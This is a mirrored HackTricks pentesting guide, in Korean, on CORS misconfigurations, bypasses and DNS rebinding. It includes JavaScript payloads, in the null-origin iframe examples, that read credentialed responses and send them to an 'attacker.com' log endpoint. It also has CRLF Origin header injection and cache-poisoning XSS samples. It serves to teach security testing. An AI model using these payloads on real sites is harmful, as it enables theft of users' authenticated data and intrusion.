Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator 88366b0ca3 Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/

2024-04-07 23:01:30 +00:00

33 KiB

Raw Blame History

CORS - Misconfigurations & Bypass

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요!

다른 방법으로 HackTricks를 지원하는 방법:

회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면 SUBSCRIPTION PLANS를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 Discord 그룹 또는 telegram 그룹에 가입하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

{% embed url="https://websec.nl/" %}

CORS가 무엇인가요?

Cross-Origin Resource Sharing (CORS) 표준은 서버가 자산에 액세스할 수 있는 사용자와 외부 소스에서 허용된 HTTP 요청 방법을 정의할 수 있도록 합니다.

동일 출처 정책은 자원을 요청하는 서버와 자원을 호스팅하는 서버가 동일한 프로토콜 (예: http://), 도메인 이름 (예: internal-web.com), 및 포트 (예: 80)를 공유해야 한다는 원칙입니다. 이 정책에 따르면, 동일한 도메인 및 포트의 웹 페이지만이 자원에 액세스할 수 있습니다.

http://normal-website.com/example/example.html의 경우 동일 출처 정책의 적용은 다음과 같이 설명됩니다:

액세스된 URL	허용 여부
`http://normal-website.com/example/`	예: 동일한 스키마, 도메인 및 포트
`http://normal-website.com/example2/`	예: 동일한 스키마, 도메인 및 포트
`https://normal-website.com/example/`	아니요: 다른 스키마 및 포트
`http://en.normal-website.com/example/`	아니요: 다른 도메인
`http://www.normal-website.com/example/`	아니요: 다른 도메인
`http://normal-website.com:8080/example/`	아니요: 다른 포트*

*Internet Explorer는 동일 출처 정책에서 포트 번호를 무시하므로 이 액세스를 허용합니다.

`Access-Control-Allow-Origin` 헤더

이 헤더는 여러 출처, null 값 또는 와일드카드 *****를 허용할 수 있습니다. 그러나 브라우저는 여러 출처를 지원하지 않으며, 와일드카드 *의 사용은 제한을 받습니다. (와일드카드는 단독으로 사용해야 하며, Access-Control-Allow-Credentials: true와 함께 사용할 수 없습니다.)

이 헤더는 웹사이트에서 시작된 교차 도메인 자원 요청에 대한 응답으로 서버에 의해 발행되며, 브라우저는 자동으로 Origin 헤더를 추가합니다.

`Access-Control-Allow-Credentials` 헤더

기본적으로, 교차 출처 요청은 쿠키나 인증 헤더와 같은 자격 증명 없이 이루어집니다. 그러나 교차 도메인 서버는 Access-Control-Allow-Credentials 헤더를 **true**로 설정하여 자격 증명이 전송될 때 응답을 읽을 수 있도록 허용할 수 있습니다.

true로 설정하면 브라우저가 자격 증명 (쿠키, 인증 헤더 또는 TLS 클라이언트 인증서)를 전송합니다.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF 사전 요청

교차 도메인 통신에서 사전 요청 이해

특정 조건 하에서 교차 도메인 요청을 시작할 때, 표준이 아닌 HTTP 메소드(HEAD, GET, POST 이외의 것)를 사용하거나 새로운 헤더를 도입하거나 특별한 Content-Type 헤더 값을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 사전 요청은 OPTIONS 메소드를 활용하여 서버에게 다가오는 교차 출처 요청의 의도를 알리며 사용할 HTTP 메소드와 헤더를 포함합니다.

교차 출처 자원 공유 (CORS) 프로토콜은 이 사전 확인을 강제하여 요청된 교차 출처 작업의 실행 가능성을 결정하며 허용된 메소드, 헤더, 그리고 출처의 신뢰성을 확인합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해를 위해서는 Mozilla Developer Network (MDN)에서 제공하는 포괄적인 가이드를 참조하십시오.

사전 요청의 부재는 응답이 인가 헤더를 포함해야 하는 요구 사항을 무효화하지 않는다는 점을 주목해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.

다음은 PUT 메소드와 Special-Request-Header라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시를 고려해보십시오:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

다음은 서버가 허용된 메소드, 허용된 출천지, 그리고 다른 CORS 정책 세부사항을 나타내는 헤더를 반환할 수 있습니다.

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Access-Control-Allow-Headers: 이 헤더는 실제 요청 중에 사용할 수 있는 헤더를 지정합니다. 서버에서 클라이언트로부터의 요청에서 허용된 헤더를 나타내기 위해 설정됩니다.
Access-Control-Expose-Headers: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에게 알립니다.
Access-Control-Max-Age: 이 헤더는 사전 플라이트 요청의 결과를 캐시할 수 있는 시간을 나타냅니다. 서버는 사전 플라이트 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간(초)을 설정합니다.
Access-Control-Request-Headers: 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하려는 HTTP 헤더에 대해 서버에 알립니다.
Access-Control-Request-Method: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메소드를 나타내도록 설정됩니다.
Origin: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 들어오는 요청을 허용할지 거부할지 판단하는 데 사용됩니다.

**참고로, 일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) GET/POST 요청에서는 사전 플라이트 요청이 전송되지 않습니다 (요청이 직접 전송됨), 그러나 응답의 헤더/본문에 액세스하려면 Access-Control-Allow-Origin 헤더를 포함해야 합니다.
따라서, CORS는 CSRF에 대해 보호하지 않지만 도움이 될 수 있습니다.

로컬 네트워크 요청 사전 플라이트 요청

Access-Control-Request-Local-Network: 이 헤더는 클라이언트의 요청에 포함되어 있어서 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크에서 시작되었음을 알리는 표식으로 작용합니다.
Access-Control-Allow-Local-Network: 응답에서, 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하면서 제어된 액세스를 보장하고 보안 프로토콜을 유지합니다.

로컬 네트워크 요청을 허용하는 유효한 응답은 응답에도 Access-Controls-Allow-Local_network: true 헤더를 포함해야 합니다:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 리눅스 0.0.0.0 IP를 사용하면 로컬호스트에 액세스하기 위한 요구 사항을 우회할 수 있다. 이 IP 주소는 "로컬"로 간주되지 않기 때문이다.

또한, 로컬 네트워크 요구 사항을 우회하는 것이 가능하다. 이를 위해 로컬 엔드포인트의 공용 IP 주소(예: 라우터의 공용 IP)를 사용할 수 있다. 몇 가지 경우에는 공용 IP에 액세스하더라도, 그것이 로컬 네트워크에서 액세스되는 경우에는 액세스가 허용될 수 있다. {% endhint %}

Exploitable misconfigurations

Access-Control-Allow-Credentials를 **true**로 설정하는 것이 대부분의 실제 공격에 대한 선행 조건임이 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이 설정이 없으면 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 이점이 줄어들어, 공격의 효과가 감소합니다.

Exception: Exploiting Network Location as Authentication

피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 존재합니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 가지지만 더 쉽게 악용할 수 있습니다.

Reflection of `Origin` in `Access-Control-Allow-Origin`

Origin 헤더의 값이 Access-Control-Allow-Origin에 반영되는 실제 시나리오는, 이러한 헤더를 결합하는 제한 때문에 이론적으로 불가능합니다. 그러나, 여러 URL에 대해 CORS를 활성화하려는 개발자들은 Origin 헤더의 값을 복사하여 Access-Control-Allow-Origin 헤더를 동적으로 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 유효성 검사 논리를 속이기 위해 합법적으로 보이도록 설계된 도메인을 사용하는 경우에는 더욱 위험할 수 있습니다.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

`null` 오리진 악용

null 오리진은 리디렉션이나 로컬 HTML 파일과 같은 상황을 위해 지정된 곳으로, 독특한 위치를 차지합니다. 일부 애플리케이션은 로컬 개발을 용이하게 하기 위해 이 오리진을 화이트리스트에 추가하는데, 이로 인해 샌드박스된 iframe을 통해 아무 웹사이트나 null 오리진을 흉내내어 CORS 제한을 우회할 수 있습니다.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

정규 표현식 우회 기법

도메인 화이트리스트를 만났을 때, 공격자의 도메인을 화이트리스트에 추가하거나 서브도메인 탈취 취약점을 악용하는 등 우회 기회를 테스트하는 것이 중요합니다. 또한, 도메인 유효성 검사에 사용되는 정규 표현식은 도메인 명명 규칙의 세부 사항을 간과할 수 있어 추가적인 우회 기회를 제공할 수 있습니다.

고급 정규 표현식 우회

정규식 패턴은 일반적으로 알파벳, 점(.), 하이픈(-) 문자에 집중하며 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규식 패턴에서 다르게 해석되는 문자를 포함한 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox가 서브도메인의 밑줄 문자를 처리하는 방식은 이러한 차이가 도메인 유효성 검사 논리를 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.

이 우회 검사에 대한 자세한 정보 및 설정: https://www.corben.io/advanced-cors-techniques/ 및 https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

서브도메인 내 XSS로부터

개발자들은 종종 CORS 악용에 대비하기 위해 방어 메커니즘을 구현하여 정보 요청이 허용된 도메인을 화이트리스트에 등록합니다. 그러나 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나라도 존재하면 XSS(Cross-Site Scripting)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.

예를 들어, requester.com 도메인이 provider.com 도메인에서 리소스에 액세스할 수 있도록 화이트리스트에 등록되어 있다고 가정해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

이 설정에서 requester.com의 모든 하위 도메인이 액세스를 허용합니다. 그러나 sub.requester.com과 같은 하위 도메인이 XSS 취약점으로 침투당하면 공격자가 이 취약점을 악용할 수 있습니다. 예를 들어, sub.requester.com에 액세스 권한이 있는 공격자는 XSS 취약점을 이용하여 CORS 정책을 우회하고 provider.com의 리소스에 악의적으로 액세스할 수 있습니다.

서버 측 캐시 독려

이 연구에서

HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써 저장된 Cross-Site Scripting (XSS) 취약점을 유발할 수 있습니다. 이 시나리오는 응용 프로그램이 Origin 헤더를 비법 문자로 살균하지 않아 Internet Explorer 및 Edge 사용자에게 특히 취약성을 만드는 경우 발생합니다. 이러한 브라우저는 (0x0d)을 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발합니다.

다음과 같이 Origin 헤더가 조작된 요청을 고려해보십시오:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

인터넷 익스플로러와 엣지는 응답을 다음과 같이 해석합니다:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내도록 하는 것은 불가능하지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 우연히 다른 사람에게 제공될 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.

저장된 XSS 취약점에 대한 자세한 내용은 PortSwigger를 참조하십시오.

참고: HTTP 헤더 삽입 취약점의 악용, 특히 서버 측 캐시 오염을 통해 사용자가 제공한 모든 입력(포함된 HTTP 헤더)을 유효성 검사하고 살균하는 것의 중요성을 강조합니다. 이러한 취약점을 방지하기 위해 입력 유효성 검사를 포함한 견고한 보안 모델을 항상 사용하십시오.

클라이언트 측 캐시 오염

이 연구에서

이 시나리오에서는 적절한 인코딩 없이 사용자 지정 HTTP 헤더의 내용을 반영하는 웹 페이지의 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 X-User-id 헤더에 포함된 내용을 다시 반영하며, 이는 로드 시에 JavaScript 코드를 실행하도록 설계된 SVG 이미지 태그를 포함하는 예제에 의해 악의적인 JavaScript를 포함할 수 있습니다.

Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. Vary: Origin 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 이후 이 캐시된 응답은 URL로 이동할 때 직접 렌더링되어 초기 요청 시 직접 렌더링이 필요하지 않게 됩니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.

이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더가 포함된 URL로 요청을 보냅니다. 성공적인 요청 완료 후, 대상 URL로 이동을 시도하여 Vary: Origin 헤더를 올바르게 처리하지 않고 응답이 캐시된 경우 주입된 스크립트의 실행을 유도할 수 있습니다.

다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분해입니다:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

우회

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, 또는 Cross-Site Script Inclusion으로도 알려진 취약점은 script 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 사실을 악용하는 유형의 취약점입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약점을 통해 공격자는 script 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.

이 취약점은 특히 동적 JavaScript 또는 JSONP (Padding이 있는 JSON)와 같은 환경 권한 정보(예: 쿠키)가 인증에 사용될 때 특히 중요해집니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 액세스 가능해집니다.

이 취약점을 더 잘 이해하고 완화하기 위해 https://github.com/kapytein/jsonp에서 사용할 수 있는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약점을 식별하고 해결하는 데 도움이 될 수 있습니다.

다양한 유형의 XSSI 및 그들을 어떻게 악용하는지에 대해 자세히 알아보세요.

요청에 callback 매개변수를 추가해 보세요. 페이지가 데이터를 JSONP로 보내도록 준비되어 있을 수 있습니다. 이 경우 페이지는 Content-Type: application/javascript로 데이터를 다시 보내 CORS 정책을 우회할 것입니다.

쉬운 (의미 없는?) 우회

Access-Control-Allow-Origin 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청하여 대신 요청하고 응답을 보내도록 하는 것입니다. 그러나 이 시나리오에서 최종 피해자의 자격 증명은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.

CORS-escape: 이 도구는 요청과 해당 헤더를 전달하는 프록시를 제공하며 Origin 헤더를 요청된 도메인과 일치하도록 위조합니다. 이를 통해 CORS 정책을 우회할 수 있습니다. XMLHttpRequest를 사용한 예시는 다음과 같습니다:
simple-cors-escape: 이 도구는 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행하는 대체 접근 방식을 제공합니다.

Iframe + 팝업 우회

e.origin === window.origin과 같은 CORS 확인을 우회하기 위해 iframe를 생성하고 새 창을 열어 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL을 통한 DNS 리바인딩

TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안 조치를 우회하는 기술입니다. 작동 방식은 다음과 같습니다:

공격자가 웹 페이지를 만들고 피해자가 액세스하도록 합니다.
공격자는 자신의 도메인의 DNS(IP)을 피해자의 웹 페이지를 가리키도록 변경합니다.
피해자의 브라우저는 DNS 응답을 캐시하며, DNS 레코드가 유효한 기간을 나타내는 TTL(Time to Live) 값을 가질 수 있습니다.
TTL이 만료되면 피해자의 브라우저가 새 DNS 요청을 수행하며, 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
피해자의 IP를 제어하면서 공격자는 피해자로부터 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.

이 기술은 낮은 TTL 값으로도 즉시 이 기술을 악용하는 것을 방지할 수 있는 브라우저의 캐싱 메커니즘이 있다는 점을 유의해야 합니다.

DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하거나 사용자 또는 봇이 동일한 페이지에 오랜 기간 머무르는 시나리오에서 캐시가 만료되는 것을 허용하기 위해 유용할 수 있습니다.

DNS 리바인딩을 빠르게 악용하려면 https://lock.cmpxchg8b.com/rebinder.html와 같은 서비스를 사용할 수 있습니다.

자체 DNS 리바인딩 서버를 실행하려면 DNSrebinder(https://github.com/mogwailabs/DNSrebinder)와 같은 도구를 활용할 수 있습니다. 이는 로컬 포트 53/udp를 노출시키고 해당 포트를 가리키는 A 레코드를 만들고 이전에 만든 A 하위 도메인을 가리키는 NS 레코드를 만드는 것을 포함합니다. ns.example.com 하위 도메인의 모든 하위 도메인은 이후에 호스트에 의해 해결됩니다.

더 많은 이해와 실험을 위해 http://rebind.it/singularity.html에서 공개적으로 실행 중인 서버를 탐색할 수도 있습니다.

DNS 리바인딩을 통한 DNS 캐시 홍수

DNS 캐시 홍수를 통한 DNS 리바인딩은 브라우저의 캐싱 메커니즘을 우회하고 두 번째 DNS 요청을 강제하는 기술입니다. 작동 방식은 다음과 같습니다:

초기에 피해자가 DNS 요청을 수행하면 공격자의 IP 주소로 응답됩니다.
캐싱 방어를 우회하기 위해 공격자는 서비스 워커를 활용합니다. 서비스 워커는 DNS 캐시를 홍수시켜 캐시된 공격자 서버 이름을 효과적으로 삭제합니다.
피해자의 브라우저가 두 번째 DNS 요청을 수행하면 이제 IP 주소 127.0.0.1로 응답됩니다. 일반적으로 이는 로컬호스트를 가리킵니다.

서비스 워커를 사용하여 DNS 캐시를 홍수시킴으로써 공격자는 DNS 해결 프로세스를 조작하고 피해자의 브라우저가 두 번째 요청을 수행하도록 강제할 수 있습니다. 이번에는 공격자가 원하는 IP 주소로 해결됩니다.

DNS 리바인딩을 통한 캐시

캐싱 방어를 우회하는 또 다른 방법은 DNS 제공업체에서 동일 서브도메인에 대해 여러 IP 주소를 활용하는 것입니다. 작동 방식은 다음과 같습니다:

공격자는 DNS 제공업체에서 동일 서브도메인에 대해 두 개의 A 레코드(또는 두 개의 IP를 가진 단일 A 레코드)를 설정합니다.
브라우저가 이러한 레코드를 확인하면 두 IP 주소를 받습니다.
브라우저가 먼저 공격자의 IP 주소를 사용하기로 결정하면 공격자는 동일 도메인으로 HTTP 요청을 수행하는 페이로드를 제공할 수 있습니다.
그러나 공격자가 피해자의 IP 주소를 획득하면 피해자의 브라우저에 응답을 중단합니다.
도메인이 응답하지 않음을 인식한 피해자의 브라우저는 두 번째로 제공된 IP 주소를 사용하도록 전환합니다.
두 번째 IP 주소에 액세스함으로써 브라우저는 동일 출처 정책(SOP)을 우회하여 공격자가 이를 악용하고 정보를 수집하고 유출할 수 있습니다.

이 기술은 도메인에 대해 여러 IP 주소가 제공될 때 브라우저의 동작을 활용하여 응답을 전략적으로 제어하고 브라우저가 선택한 IP 주소를 조작함으로써 공격자가 SOP를 악용하고 피해자로부터 정보에 액세스할 수 있습니다.

{% hint style="warning" %} localhost에 액세스하려면 Windows에서 127.0.0.1을, Linux에서 0.0.0.0을 재바인딩해야 합니다.
godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없게 했지만 AWS route53는 두 개의 IP 중 하나가 "0.0.0.0"인 A 레코드를 만들 수 있게 했습니다.

{% endhint %}

더 많은 정보는 https://unit42.paloaltonetworks.com/dns-rebinding/에서 확인할 수 있습니다.

기타 일반적인 우회 방법

내부 IP가 허용되지 않는 경우, 0.0.0.0을 금지하는 것을 잊을 수 있음 (Linux 및 Mac에서 작동)
내부 IP가 허용되지 않는 경우, 로컬호스트에 대한 CNAME으로 응답 (Linux 및 Mac에서 작동)
내부 IP가 DNS 응답으로 허용되지 않는 경우, www.corporate.internal과 같은 내부 서비스에 대한 CNAME 응답을 할 수 있음.

DNS Rebidding 무기화

이전 우회 기술에 대한 자세한 정보 및 다음 도구 사용 방법은 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference에서 확인할 수 있습니다.

Singularity of Origin은 DNS rebinding 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 컴퓨터의 IP 주소로 재바인딩하고 대상 컴퓨터의 취약한 소프트웨어를 공격하는 페이로드를 제공하기 위한 필수 구성 요소가 포함되어 있습니다.

DNS Rebinding에 대한 실제 보호

내부 서비스에서 TLS 사용
데이터에 액세스하기 위해 인증 요청
Host 헤더 유효성 검사
https://wicg.github.io/private-network-access/: 공개 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내는 제안

도구

CORS 정책에서 잘못된 구성을 퍼징

참고 자료